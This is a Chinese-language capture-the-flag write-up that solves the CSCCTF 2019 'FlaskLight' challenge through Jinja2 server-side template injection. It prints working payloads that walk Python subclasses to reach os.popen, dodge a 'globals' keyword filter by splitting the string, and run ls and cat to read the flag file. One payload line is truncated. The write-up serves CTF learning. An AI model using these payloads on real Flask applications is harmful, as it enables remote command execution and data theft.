[CSCCTF 2019 Qual]FlaskLight(ssti)
进入页面后,我们先查看源码
发现它传参和传参的类型
我们尝试ssti模版注入,成功执行,为jinjia2模版
我们寻找rce可以借助的类
先获取变量[]所属的类名
1 | {{[].__class__}} |
页面回显<type ‘list’>
再获取list所继承的基类名
1 | {{[].__class__.__base__} |
页面回显<type ‘object’>
最后获取所有继承自object的类
1 | {{[].__class__.__base__.__subclasses__()}} |
这里回显了很长一个列表,这里可以将这些数据放在列表中,通过list.index输出想要的类在第几位。不过需要对这传数据进行简单的处理(将<>换成””)
通过查询可知,可以借助类<class’warnings.catch_warnings’>,没有内置os模块在第59位。<class ‘site._Printer’> 内含os模块 在第71位,可以借助这些类来执行命令。
不含os模块的类warnings.catch_warnings
进行命令执行
先读取目录
1 | {{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}} |
由于使用[‘globals‘]会造成500的服务器错误信息,并且当我直接输入search=globals时页面也会500,觉得这里应该是被过滤了,所以这里采用了字符串拼接的形式[‘glo’+’bals‘]
查看flasklight目录
1 | {{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls ./flasklight').read()")}} |
打开 coomme_geeeett_youur_flek文件
1 | {{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat ./flasklight/coomme_geeeett_youur_flek |
得到flag
内含os模块的类 class’site._Printer’
目录查询
1 | {{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}} |
因为这里listdir同样被ban了
读取目录flasklight
1 | {{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls /flasklight').read()}} |
读取flag
1 | {{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat coomme_geeeett_youur_flek').read()}} |